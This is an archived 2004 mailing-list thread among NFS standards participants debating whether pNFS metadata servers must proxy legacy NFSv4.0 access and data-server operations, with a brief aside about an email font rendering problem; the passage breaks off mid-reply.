1: 12/18/03: subtopic: proxying Thread-Index: AcPeaQdFnqO5JJSFTaWLR7tAnrV/QgAXHQqQAAKPEdA= To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck That font is quite annoying. Interesting fact: when I was replying to one of Julian's recent messages, I copied and pasted some of this message, anticipating that I would have to chnge it to a reasonable-size font, but what happened when I pasted it was that the part where Julian had quoted me, which was in the microscopic font, when pasted it was in what looked like a nrmal sized courier font, while the stuff that Julian had written himself was still in the microscpic font. The other thing was that Outlook when you put the cursor somewhere, normally changes the font indication up top so you can find out what font something is, but not here. It always said Courier 10pt, even in Julian's text which was clearly smaller than that. And now the wierdest part!! If I put the cursor in a paragraph that I originally wrote (and Julian incorporated with >'s and looks like it is a reasonable size), as soon as I type a single character, the whole paragraph instantly switches to Julian's microscopic font! and no it doesn't go back when I delete that character, but if cut and past that paragraph it does go back to a reasonable size. -----Original Message----- From: Corbett, Peter Sent: Monday, January 19, 2004 2:52 PM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Julian, For some reason, your messages always come to me in a microscopic font that I'm finding harder and harder to read. I don't know if this is the case for all recipients, or it is peculiar to my client. I am using Outlook. I've never seen it on mail from anybody else. Peter -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Monday, January 19, 2004 3:48 AM To: pnfs-reqs@yahoogroups.com Cc: pNFS Operations; pNFS Requirements Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Garth Gibson wrote on 19/12/2003 00:37:50: > Thanks Dave. I agree. Lets refine the proxying issues: Legacy, > strict, functional and recovery proxying. > > [1.1.0 Legacy proxying]: an NFS-v4.x server must be able to execute the > full NFS-v4.0 or NFS-v4.1 protocol. > > I think Dave has given the case for this strongly. I do not see any > case against this. > > ------------------------------------------- > > [1.1.1 Strict proxying]: does an NFS-v4.x server have to be able to > execute exactly the wire packet that an NFS-v4.x client might have sent > to a SBC/OSD/NFS data server? > > This captures the notion that a metadata server must also be a > store-and-forward proxy for every data server it manages. It requires > NFS-v4.x servers implement SCSI SBC over FC, if their data servers > implement it; and the same for objects and files. > > This only makes sense to me for NFS data servers. And it is not what I > intended in my prior summary, although it is a relevant question. I > would say that pNFS requirements not require Strict Proxying. > Agree > ------------------------------------------- > > [1.1.2 Functional proxying]: a file transformation achievable by an > NFS-v4.x client using a set of data server operations must be a > equivalently achievable using a (probably different) set of NFS-v4.x > server operations > > This is the topic I intended to address in the last email. I believe > Dave is arguing that even with metadata servers that do not have access > to their data servers, the vendor of such a metadata server can > construct a proprietary protocol for the metadata server to (strict) > proxy data server accesses through clients that do have data server > access. I am not comfortable making up a counter to this, so I exhort > those that want a metadata server without data server access to speak > up if they disagree. > > > On one hand, some suggest that a set of out-of-band clients should not > > have to also have a data path through the NFSv4 metadata server. One > > reason is that customers may not tolerate the large variability in > > performance between out-of-band (when the going is good) and in-band > > (when the server chooses not to grant or to take away a delegation) > > accesses. Another reason, and I paraphrase someone else here, is that > > it is possible to construct out-of-band metadata servers that do not > > have access to the data servers except through the clients -- I > > encourage the source of this scenario to replace my paraphrasing with > > a correct use case, because I find it odd to design for file servers > > that do not have access to the data servers. > > > > On the other hand, others have suggested that any access or work that > > a client can do out-of-band should be possible with one or more > > commands applied to the metadata server's data path. This has been > > proposed for coping with recalled delegations, including concurrent > > writing by multiple clients; retry after client access errors, > > provided adequate idempotency of out-of-band operations; and many > > alternative implementations of out-of-band clients, including legacy > > clients that use out-of-band never or rarely. > > > > I think this is a topic that should be argued one way or the other in > > the requirements document. Use cases and examples in other systems > > would be best. > I guess that proxying through a client should be recomended but not mandated. We might the want to find how to do it while respecting restrictions removed the metadata server from the path. > ------------------------------------------- > > [1.1.3 Recovery proxying]: a file transformation begun by an NFS-v4.x > client using a set of data server operations, but interrupted before > completion, must be equivalently completable using a (probably > different) set of NFS-v4.x server operations > > Some have suggested that having this property will greatly simplify the > amount of spec that is devoted to out-of-band error recovery. Others > have commented that a simple way to achieve this would be to require > that all operations on data servers should be idempotent. > > ------------------------------------------- > > garth > > > On Thursday, December 18, 2003, at 12:21 PM, Noveck, Dave wrote: > > > Good summary. > > > > I want to address the ""proxying"" issue. > > > >> [1.1 Proxying]: Operations/work that can only be done out-of-band vs > >> alternative access through the NFSv4 server for all operations/work > > > > If you are talking about operations in the extension (let's call it > > NFS-v4.x), that are not in the previous minor version (let's assume > > that is nfs-v4.1), then you have a choice of whether these are > > supported > > for access through the server, or only for access by the client with > > the > > data server. Let's call this the issue of proxying in the strict > > sense. > > > > There is another issue that people are calling ""proxying"" but is really > > logically distinct. That is the issue of access by the previous minor > > version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of > > separate data servers and they need to be able to work. End of story. > > If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not > > have a minor version without proxying. You don't have a minor version > > at all. I believe the working group is never going to accept that. > > Even if I'm wrong and you can get the working group to accept that, > > it is going to be very contentious and thus take up a lot of time. > > Anybody, who really wants to go down this path should seriously > > consider > > the trade-off between supporting something they find objectionable and > > getting a standard a lot later, if at all. > > > >> On one hand, some suggest that a set of out-of-band clients should not > >> have to also have a data path through the NFSv4 metadata server. One > >> reason is that customers may not tolerate the large variability in > >> performance between out-of-band (when the going is good) and in-band > >> (when the server chooses not to grant or to take away a delegation) > >> accesses. > > > > Then such customers will use clients that access things out-of-band > > whenever possible, and servers that never refuse to give out layout > > delegations. You have a number of quality-of-implementations issues > > for v4.x clients and servers. If a particular client only supports > > access via v4.0, then performance will suck, and the working group > > will understand that, but it won't accept not being able to use > > v4.0 at all. The customer is going to be motivated to upgrade his > > clients for those that need high-performance access, but he may be > > OK with some clients using v4.0 for a long time, depending on the > > particular performance those clients need. (And some will want v2/v3 > > access but that is a matter that the working group has no say about). > > > >> Another reason, and I paraphrase someone else here, is that > >> it is possible to construct out-of-band metadata servers that do not > >> have access to the data servers except through the clients -- I > >> encourage the source of this scenario to replace my paraphrasing with > >> a > >> correct use case, because I find it odd to design for file servers > >> that > >> do not have access to the data servers. > > > > So let's grant that it is possible (and we'll pass over the issue of > > whether it is desirable, and in fact so desirable that one is willing > > to > > not get a standard and or get it much later). > > > > So we have a metadata server and it, for whatever reason, does not have > > access to the data servers. However, by hypothesis, there are machines > > (e.g. clients), that can communicate with both. So, if one has such an > > architecture, then one can take such a machine, give it a > > communication path > > to the meta-data server and the data server and have the meta-data > > server > > transfer v4.0 READ requests to it, let it read the data from the data > > server and send it back to the meta-data server who send it back to the > > original requestor. Is that a very good solution? No. Is it likely > > to be performant? No. Will it satisfy any particular customer? I > > don't > > know and that is the implementer's business decision. Will it satisfy > > the hypothetical customer who doesn't care about v4.0 access? Clearly. > > Will it satisfy the v4 working group? Yes, because they are not in the > > business of telling you how performant v4.0 access has got to be. > > > >> On the other hand, others have suggested that any access or work that > >> a > >> client can do out-of-band should be possible with one or more commands > >> applied to the metadata server's data path. This has been proposed > >> for > >> coping with recalled delegations, including concurrent writing by > >> multiple clients; retry after client access errors, provided adequate > >> idempotency of out-of-band operations; and many alternative > >> implementations of out-of-band clients, including legacy clients that > >> use out-of-band never or rarely. > > > > This effort is going to take a while, but if we manage it correctly, it > > is not going to take so long that v3 clients are going to be rare > > things, > > and they have to be supported. But v3 clients are not an issue for the > > working group. V4.0 clients are and they will be around and you will > > have to support them, and I believe the working group is not going to > > be disposed to cut you a lot of slack on this issue (and I don't see > > why it should). > > > >> I think this is a topic that should be argued one way or the other in > >> the requirements document. Use cases and examples in other systems > >> would be best. > > > > I think the requirement should be that this work should be done as a > > set of extensions to nfs-v4 delivered as a v4 minor version. If there > > is some feature/requirement that conflicts with that model (and it is a > > pretty flexible one), then you have to think long and hard before > > deciding > > that that requirement is more important than this basic deivery > > vehicle, > > because it seems to me that it is, in almost all respects, the ideal > > way > > to make this sort of technology available for widespread use. > > > > > > > > > > > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > > > > > Yahoo! Groups Links > > > > To visit your group on the web, go to: > > http://groups.yahoo.com/group/pnfs-ops/ > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > Your use of Yahoo! Groups is subject to: > > http://docs.yahoo.com/info/terms/ > > > > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > Yahoo! Groups Links * To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ * To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. Yahoo! Groups Links * To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ * To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From julian_satran@il.ibm.com Mon Jan 19 14:11:59 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 80152 invoked from network); 19 Jan 2004 22:11:59 -0000 Received: from unknown (66.218.66.167) by m5.grp.scd.yahoo.com with QMQP; 19 Jan 2004 22:11:59 -0000 Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta6.grp.scd.yahoo.com with SMTP; 19 Jan 2004 22:11:58 -0000 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196]) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i0JMBuHI127844 for ; Mon, 19 Jan 2004 22:11:56 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0JMBtmx249174 for ; Mon, 19 Jan 2004 23:11:56 +0100 In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 19 Jan 2004 14:11:52 -0800 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 20/01/2004 00:11:56, Serialize complete at 20/01/2004 00:11:56 Content-Type: text/plain; charset=""US-ASCII"" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran My humble appologies to all. I've changed my internet mail options to text only (instead of HTML and text). I hope it works better. Interestingly enough I use mozilla (thunderbird) for my private mail and never experienced this behavior. It must be a Lotus-Note-vs.-Outlook war! Julo ""Noveck, Dave"" 19/01/2004 13:15 Please respond to pnfs-reqs To cc Subject RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying That font is quite annoying. Interesting fact: when I was replying to one of Julian's recent messages, I copied and pasted some of this message, anticipating that I would have to chnge it to a reasonable-size font, but what happened when I pasted it was that the part where Julian had quoted me, which was in the microscopic font, when pasted it was in what looked like a nrmal sized courier font, while the stuff that Julian had written himself was still in the microscpic font. The other thing was that Outlook when you put the cursor somewhere, normally changes the font indication up top so you can find out what font something is, but not here. It always said Courier 10pt, even in Julian's text which was clearly smaller than that. And now the wierdest part!! If I put the cursor in a paragraph that I originally wrote (and Julian incorporated with >'s and looks like it is a reasonable size), as soon as I type a single character, the whole paragraph instantly switches to Julian's microscopic font! and no it doesn't go back when I delete that character, but if cut and past that paragraph it does go back to a reasonable size. -----Original Message----- From: Corbett, Peter Sent: Monday, January 19, 2004 2:52 PM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Julian, For some reason, your messages always come to me in a microscopic font that I'm finding harder and harder to read. I don't know if this is the case for all recipients, or it is peculiar to my client. I am using Outlook. I've never seen it on mail from anybody else. Peter -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Monday, January 19, 2004 3:48 AM To: pnfs-reqs@yahoogroups.com Cc: pNFS Operations; pNFS Requirements Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Garth Gibson wrote on 19/12/2003 00:37:50: > Thanks Dave. I agree. Lets refine the proxying issues: Legacy, > strict, functional and recovery proxying. > > [1.1.0 Legacy proxying]: an NFS-v4.x server must be able to execute the > full NFS-v4.0 or NFS-v4.1 protocol. > > I think Dave has given the case for this strongly. I do not see any > case against this. > > ------------------------------------------- > > [1.1.1 Strict proxying]: does an NFS-v4.x server have to be able to > execute exactly the wire packet that an NFS-v4.x client might have sent > to a SBC/OSD/NFS data server? > > This captures the notion that a metadata server must also be a > store-and-forward proxy for every data server it manages. It requires > NFS-v4.x servers implement SCSI SBC over FC, if their data servers > implement it; and the same for objects and files. > > This only makes sense to me for NFS data servers. And it is not what I > intended in my prior summary, although it is a relevant question. I > would say that pNFS requirements not require Strict Proxying. > Agree > ------------------------------------------- > > [1.1.2 Functional proxying]: a file transformation achievable by an > NFS-v4.x client using a set of data server operations must be a > equivalently achievable using a (probably different) set of NFS-v4.x > server operations > > This is the topic I intended to address in the last email. I believe > Dave is arguing that even with metadata servers that do not have access > to their data servers, the vendor of such a metadata server can > construct a proprietary protocol for the metadata server to (strict) > proxy data server accesses through clients that do have data server > access. I am not comfortable making up a counter to this, so I exhort > those that want a metadata server without data server access to speak > up if they disagree. > > > On one hand, some suggest that a set of out-of-band clients should not > > have to also have a data path through the NFSv4 metadata server. One > > reason is that customers may not tolerate the large variability in > > performance between out-of-band (when the going is good) and in-band > > (when the server chooses not to grant or to take away a delegation) > > accesses. Another reason, and I paraphrase someone else here, is that > > it is possible to construct out-of-band metadata servers that do not > > have access to the data servers except through the clients -- I > > encourage the source of this scenario to replace my paraphrasing with > > a correct use case, because I find it odd to design for file servers > > that do not have access to the data servers. > > > > On the other hand, others have suggested that any access or work that > > a client can do out-of-band should be possible with one or more > > commands applied to the metadata server's data path. This has been > > proposed for coping with recalled delegations, including concurrent > > writing by multiple clients; retry after client access errors, > > provided adequate idempotency of out-of-band operations; and many > > alternative implementations of out-of-band clients, including legacy > > clients that use out-of-band never or rarely. > > > > I think this is a topic that should be argued one way or the other in > > the requirements document. Use cases and examples in other systems > > would be best. > I guess that proxying through a client should be recomended but not mandated. We might the want to find how to do it while respecting restrictions removed the metadata server from the path. > ------------------------------------------- > > [1.1.3 Recovery proxying]: a file transformation begun by an NFS-v4.x > client using a set of data server operations, but interrupted before > completion, must be equivalently completable using a (probably > different) set of NFS-v4.x server operations > > Some have suggested that having this property will greatly simplify the > amount of spec that is devoted to out-of-band error recovery. Others > have commented that a simple way to achieve this would be to require > that all operations on data servers should be idempotent. > > ------------------------------------------- > > garth > > > On Thursday, December 18, 2003, at 12:21 PM, Noveck, Dave wrote: > > > Good summary. > > > > I want to address the ""proxying"" issue. > > > >> [1.1 Proxying]: Operations/work that can only be done out-of-band vs > >> alternative access through the NFSv4 server for all operations/work > > > > If you are talking about operations in the extension (let's call it > > NFS-v4.x), that are not in the previous minor version (let's assume > > that is nfs-v4.1), then you have a choice of whether these are > > supported > > for access through the server, or only for access by the client with > > the > > data server. Let's call this the issue of proxying in the strict > > sense. > > > > There is another issue that people are calling ""proxying"" but is really > > logically distinct. That is the issue of access by the previous minor > > version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of > > separate data servers and they need to be able to work. End of story. > > If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not > > have a minor version without proxying. You don't have a minor version > > at all. I believe the working group is never going to accept that. > > Even if I'm wrong and you can get the working group to accept that, > > it is going to be very contentious and thus take up a lot of time. > > Anybody, who really wants to go down this path should seriously > > consider > > the trade-off between supporting something they find objectionable and > > getting a standard a lot later, if at all. > > > >> On one hand, some suggest that a set of out-of-band clients should not > >> have to also have a data path through the NFSv4 metadata server. One > >> reason is that customers may not tolerate the large variability in > >> performance between out-of-band (when the going is good) and in-band > >> (when the server chooses not to grant or to take away a delegation) > >> accesses. > > > > Then such customers will use clients that access things out-of-band > > whenever possible, and servers that never refuse to give out layout > > delegations. You have a number of quality-of-implementations issues > > for v4.x clients and servers. If a particular client only supports > > access via v4.0, then performance will suck, and the working group > > will understand that, but it won't accept not being able to use > > v4.0 at all. The customer is going to be motivated to upgrade his > > clients for those that need high-performance access, but he may be > > OK with some clients using v4.0 for a long time, depending on the > > particular performance those clients need. (And some will want v2/v3 > > access but that is a matter that the working group has no say about). > > > >> Another reason, and I paraphrase someone else here, is that > >> it is possible to construct out-of-band metadata servers that do not > >> have access to the data servers except through the clients -- I > >> encourage the source of this scenario to replace my paraphrasing with > >> a > >> correct use case, because I find it odd to design for file servers > >> that > >> do not have access to the data servers. > > > > So let's grant that it is possible (and we'll pass over the issue of > > whether it is desirable, and in fact so desirable that one is willing > > to > > not get a standard and or get it much later). > > > > So we have a metadata server and it, for whatever reason, does not have > > access to the data servers. However, by hypothesis, there are machines > > (e.g. clients), that can communicate with both. So, if one has such an > > architecture, then one can take such a machine, give it a > > communication path > > to the meta-data server and the data server and have the meta-data > > server > > transfer v4.0 READ requests to it, let it read the data from the data > > server and send it back to the meta-data server who send it back to the > > original requestor. Is that a very good solution? No. Is it likely > > to be performant? No. Will it satisfy any particular customer? I > > don't > > know and that is the implementer's business decision. Will it satisfy > > the hypothetical customer who doesn't care about v4.0 access? Clearly. > > Will it satisfy the v4 working group? Yes, because they are not in the > > business of telling you how performant v4.0 access has got to be. > > > >> On the other hand, others have suggested that any access or work that > >> a > >> client can do out-of-band should be possible with one or more commands > >> applied to the metadata server's data path. This has been proposed > >> for > >> coping with recalled delegations, including concurrent writing by > >> multiple clients; retry after client access errors, provided adequate > >> idempotency of out-of-band operations; and many alternative > >> implementations of out-of-band clients, including legacy clients that > >> use out-of-band never or rarely. > > > > This effort is going to take a while, but if we manage it correctly, it > > is not going to take so long that v3 clients are going to be rare > > things, > > and they have to be supported. But v3 clients are not an issue for the > > working group. V4.0 clients are and they will be around and you will > > have to support them, and I believe the working group is not going to > > be disposed to cut you a lot of slack on this issue (and I don't see > > why it should). > > > >> I think this is a topic that should be argued one way or the other in > >> the requirements document. Use cases and examples in other systems > >> would be best. > > > > I think the requirement should be that this work should be done as a > > set of extensions to nfs-v4 delivered as a v4 minor version. If there > > is some feature/requirement that conflicts with that model (and it is a > > pretty flexible one), then you have to think long and hard before > > deciding > > that that requirement is more important than this basic deivery > > vehicle, > > because it seems to me that it is, in almost all respects, the ideal > > way > > to make this sort of technology available for widespread use. > > > > > > > > > > > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > > > > > Yahoo! Groups Links > > > > To visit your group on the web, go to: > > http://groups.yahoo.com/group/pnfs-ops/ > > > > To unsubscribe from this group, send an email to: > > pnfs-ops-unsubscribe@yahoogroups.com > > > > Your use of Yahoo! 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Terms of Service. >From dhildebz@eecs.umich.edu Mon Jan 19 14:13:10 2004 Return-Path: X-Sender: dhildebz@eecs.umich.edu X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 71211 invoked from network); 19 Jan 2004 22:13:10 -0000 Received: from unknown (66.218.66.216) by m12.grp.scd.yahoo.com with QMQP; 19 Jan 2004 22:13:10 -0000 Received: from unknown (HELO willow.eecs.umich.edu) (141.213.4.14) by mta1.grp.scd.yahoo.com with SMTP; 19 Jan 2004 22:13:10 -0000 Received: from willow.eecs.umich.edu (localhost.eecs.umich.edu [127.0.0.1]) by willow.eecs.umich.edu (8.12.10/8.12.9) with ESMTP id i0JMD8vE011664 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 19 Jan 2004 17:13:09 -0500 Received: from localhost (dhildebz@localhost) by willow.eecs.umich.edu (8.12.10/8.12.9/Submit) with ESMTP id i0JMD8wL011661; Mon, 19 Jan 2004 17:13:08 -0500 X-Authentication-Warning: willow.eecs.umich.edu: dhildebz owned process doing -bs Date: Mon, 19 Jan 2004 17:13:08 -0500 (EST) To: pNFS Requirements Cc: pNFS Operations In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-eGroups-Remote-IP: 141.213.4.14 From: Dean Hildebrand Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=169352062 X-Yahoo-Profile: seattleplus > > [1.1.2 Functional proxying]: a file transformation achievable by an > > NFS-v4.x client using a set of data server operations must be a > > equivalently achievable using a (probably different) set of NFS-v4.x > > server operations > > > > This is the topic I intended to address in the last email. I believe > > Dave is arguing that even with metadata servers that do not have access > > to their data servers, the vendor of such a metadata server can > > construct a proprietary protocol for the metadata server to (strict) > > proxy data server accesses through clients that do have data server > > access. I am not comfortable making up a counter to this, so I exhort > > those that want a metadata server without data server access to speak > > up if they disagree. > > > > > On one hand, some suggest that a set of out-of-band clients should not > > > > have to also have a data path through the NFSv4 metadata server. One > > > reason is that customers may not tolerate the large variability in > > > performance between out-of-band (when the going is good) and in-band > > > (when the server chooses not to grant or to take away a delegation) > > > accesses. Another reason, and I paraphrase someone else here, is that > > > > it is possible to construct out-of-band metadata servers that do not > > > have access to the data servers except through the clients -- I > > > encourage the source of this scenario to replace my paraphrasing with > > > a correct use case, because I find it odd to design for file servers > > > that do not have access to the data servers. > > > > > > On the other hand, others have suggested that any access or work that > > > a client can do out-of-band should be possible with one or more > > > commands applied to the metadata server's data path. This has been > > > proposed for coping with recalled delegations, including concurrent > > > writing by multiple clients; retry after client access errors, > > > provided adequate idempotency of out-of-band operations; and many > > > alternative implementations of out-of-band clients, including legacy > > > clients that use out-of-band never or rarely. > > > > > > I think this is a topic that should be argued one way or the other in > > > the requirements document. Use cases and examples in other systems > > > would be best. > > > > I guess that proxying through a client should be recomended but not > mandated. > We might the want to find how to do it while respecting restrictions > removed the metadata server from the path. I think relying on clients to do anything correctly is against the inherent nature of NFS. Clients in NFS are transient and cannot be trusted to do anything correctly. Therefore, the metadata server should find its own way to write data to the data servers without relying on clients. If proxying through a client is optional, it still seems orthogonal to the behavior of existing installations and the spirit of NFS. Maybe there is a valid use case someone could describe? Dean >From dnoveck@netapp.com Mon Jan 19 15:23:15 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 7197 invoked from network); 19 Jan 2004 23:23:13 -0000 Received: from unknown (66.218.66.216) by m20.grp.scd.yahoo.com with QMQP; 19 Jan 2004 23:23:13 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 19 Jan 2004 23:23:13 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0JNNDKw008007; Mon, 19 Jan 2004 15:23:13 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0JNN8ST005106; Mon, 19 Jan 2004 15:23:12 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 19 Jan 2004 15:23:08 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Thread-Index: AcPe2XB/4kBYFENqR3OWwRD2koQeGAAByR0A To: Cc: ""pNFS Operations"" X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck Dean Hildebrand wrote: > I think relying on clients to do anything correctly is against the > inherent nature of NFS. Clients in NFS are transient and cannot be > trusted to do anything correctly. Therefore, the metadata server should > find its own way to write data to the data servers without relying on > clients. If proxying through a client is optional, it still seems > orthogonal to the behavior of existing installations and the spirit of > NFS. Maybe there is a valid use case someone could describe? I'm now totally confused. Before we talk about use cases for ""proxying through a client"", I'd like to understand what it is. My understanding is that when this discussion started, a number of people were referring to a client writing data by sending a write to the meta- data server (aka the NFS server) as ""proxying"", because, if your view is that the proper/best/ideal way of doing data transfer operations is to obtain mapping information and then do a write to the data server (i.e. other NFS server or object data server or SAN-connected disk), then the direct NFS write can be seen as the meta-data server acting as the client's proxy. Is my understanding correct? No matter how you come down on the quesion of the desirability of that, I don't think there any way to argue that doing a write by sending an NFS write request to an NFS server is against the inherent nature of NFS. Nor does it ask the client do anything correctly that it hasn't been doing all along. At some point the phrase ""proxying through the client"" was used and I realize I don't know what is meant by it. It doesn't seem to match the ""proxying"" that was being discussed originally. How would the client be a proxy for (presumably) the server? What am I missing? -----Original Message----- From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] Sent: Monday, January 19, 2004 5:13 PM To: pNFS Requirements Cc: pNFS Operations Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying > > [1.1.2 Functional proxying]: a file transformation achievable by an > > NFS-v4.x client using a set of data server operations must be a > > equivalently achievable using a (probably different) set of NFS-v4.x > > server operations > > > > This is the topic I intended to address in the last email. I believe > > Dave is arguing that even with metadata servers that do not have access > > to their data servers, the vendor of such a metadata server can > > construct a proprietary protocol for the metadata server to (strict) > > proxy data server accesses through clients that do have data server > > access. I am not comfortable making up a counter to this, so I exhort > > those that want a metadata server without data server access to speak > > up if they disagree. > > > > > On one hand, some suggest that a set of out-of-band clients should not > > > > have to also have a data path through the NFSv4 metadata server. One > > > reason is that customers may not tolerate the large variability in > > > performance between out-of-band (when the going is good) and in-band > > > (when the server chooses not to grant or to take away a delegation) > > > accesses. Another reason, and I paraphrase someone else here, is that > > > > it is possible to construct out-of-band metadata servers that do not > > > have access to the data servers except through the clients -- I > > > encourage the source of this scenario to replace my paraphrasing with > > > a correct use case, because I find it odd to design for file servers > > > that do not have access to the data servers. > > > > > > On the other hand, others have suggested that any access or work that > > > a client can do out-of-band should be possible with one or more > > > commands applied to the metadata server's data path. This has been > > > proposed for coping with recalled delegations, including concurrent > > > writing by multiple clients; retry after client access errors, > > > provided adequate idempotency of out-of-band operations; and many > > > alternative implementations of out-of-band clients, including legacy > > > clients that use out-of-band never or rarely. > > > > > > I think this is a topic that should be argued one way or the other in > > > the requirements document. Use cases and examples in other systems > > > would be best. > > > > I guess that proxying through a client should be recomended but not > mandated. > We might the want to find how to do it while respecting restrictions > removed the metadata server from the path. I think relying on clients to do anything correctly is against the inherent nature of NFS. Clients in NFS are transient and cannot be trusted to do anything correctly. Therefore, the metadata server should find its own way to write data to the data servers without relying on clients. If proxying through a client is optional, it still seems orthogonal to the behavior of existing installations and the spirit of NFS. Maybe there is a valid use case someone could describe? Dean Yahoo! Groups Links To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com Your use of Yahoo! Groups is subject to: http://docs.yahoo.com/info/terms/ >From bhalevy@panasas.com Mon Jan 19 15:31:01 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 48321 invoked from network); 19 Jan 2004 23:31:01 -0000 Received: from unknown (66.218.66.166) by m5.grp.scd.yahoo.com with QMQP; 19 Jan 2004 23:31:01 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 19 Jan 2004 23:31:00 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Jan 2004 18:30:58 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D3879D@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" Cc: pNFS Operations Date: Mon, 19 Jan 2004 18:30:56 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy Dave Noveck wrote: >At some point the phrase ""proxying through the client"" was used and I >realize I don't know what is meant by it. It doesn't seem to match >the ""proxying"" that was being discussed originally. How would the >client be a proxy for (presumably) the server? What am I missing? I think it was you who suggested (maybe in a rhetorical way) that when the metadata server is not capable of accessing the storage it manages it should still be able to perform I/O using a client. Maybe this 